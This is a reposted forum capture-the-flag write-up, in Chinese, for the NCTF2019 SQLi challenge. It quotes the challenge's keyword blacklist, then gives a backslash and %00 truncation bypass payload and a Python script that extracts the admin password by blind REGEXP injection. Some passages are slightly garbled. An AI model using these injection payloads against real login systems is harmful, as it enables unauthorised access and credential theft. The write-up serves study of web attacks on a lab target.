请选择 进入手机版 | 继续访问电脑版

[NCTF2019]SQLi

[复制链接]
谢世民 发表于 2021-1-1 18:31:21 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
知识点



  • %00截断
  • regexp注入
WP

来日诰日考数据库,概念属实背不下去了,做一道sql注入来放松放松。
首先进入环境,提示要try to make the sqlquery have its own results。
看到语句是这样:
  1. select * from users where username='' and passwd=''
复制代码
推测大概过滤了许多东西,颠末信息收集发现存在robots.txt,内里写了hint.txt,内里的内容如下:
  $black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|’|=| |in||-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;
  If $_POST[‘passwd’] === admin’s password,
  Then you will get the flag;
发现过滤了许多东西,而且需要我们传正确的passwd才气得到flag。
首先发现没有过滤反斜杠,因此可以转义单引号。但是问题是过滤了# - '这三个东西,我们就没法将最后多出来的单引号给去掉。
我查了一下,发现了可以00截断。看了一下题目的环境:

确实是存在00截断的php版本,因此使用00截断:
  1. username=\&passwd=||(1);%00
复制代码
然后就是想办法注入了。因为过滤了Like,可以用REGEXP来注入,脚本如下:
  1. import requestsimport stringfrom urllib.parse import unquoteurl='http://fcc7d9e3-cb5c-4a51-a351-c90d1d2da1d3.node3.buuoj.cn/'strs = string.ascii_letters+string.digits+"_"result=''payload="||(passwd/**/regexp**/0x{});"#payload="||(username/**/regexp/**/0x{});"while 1:    for j in strs:        p1="^"+result+j        p2=bytes(p1,'UTF-8')        pp=p2.hex()        ppp=payload.format(pp)        zero=unquote("%00", 'utf-8')        ppp+=zero        data={            "username":"\",            "passwd":ppp        }        #print(data)        r=requests.post(url=url,data=data).text        #print(r)        #break        if "welcome" in r:            result+=j            print(result)            break    #print(data)
复制代码
大概爆出的是有大写有小写的,转成小写就好了。然后输入暗码得到flag。
写完后看了一下WP,发现因为没有过滤双引号,所以可以不消16进制来绕过,直接拿双引号就可以了。

来源:https://blog.csdn.net/rfrder/article/details/112000465
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题

专注素材教程免费分享
全国免费热线电话

18768367769

周一至周日9:00-23:00

反馈建议

27428564@qq.com 在线QQ咨询

扫描二维码关注我们

Powered by Discuz! X3.4© 2001-2013 Comsenz Inc.( 蜀ICP备2021001884号-1 )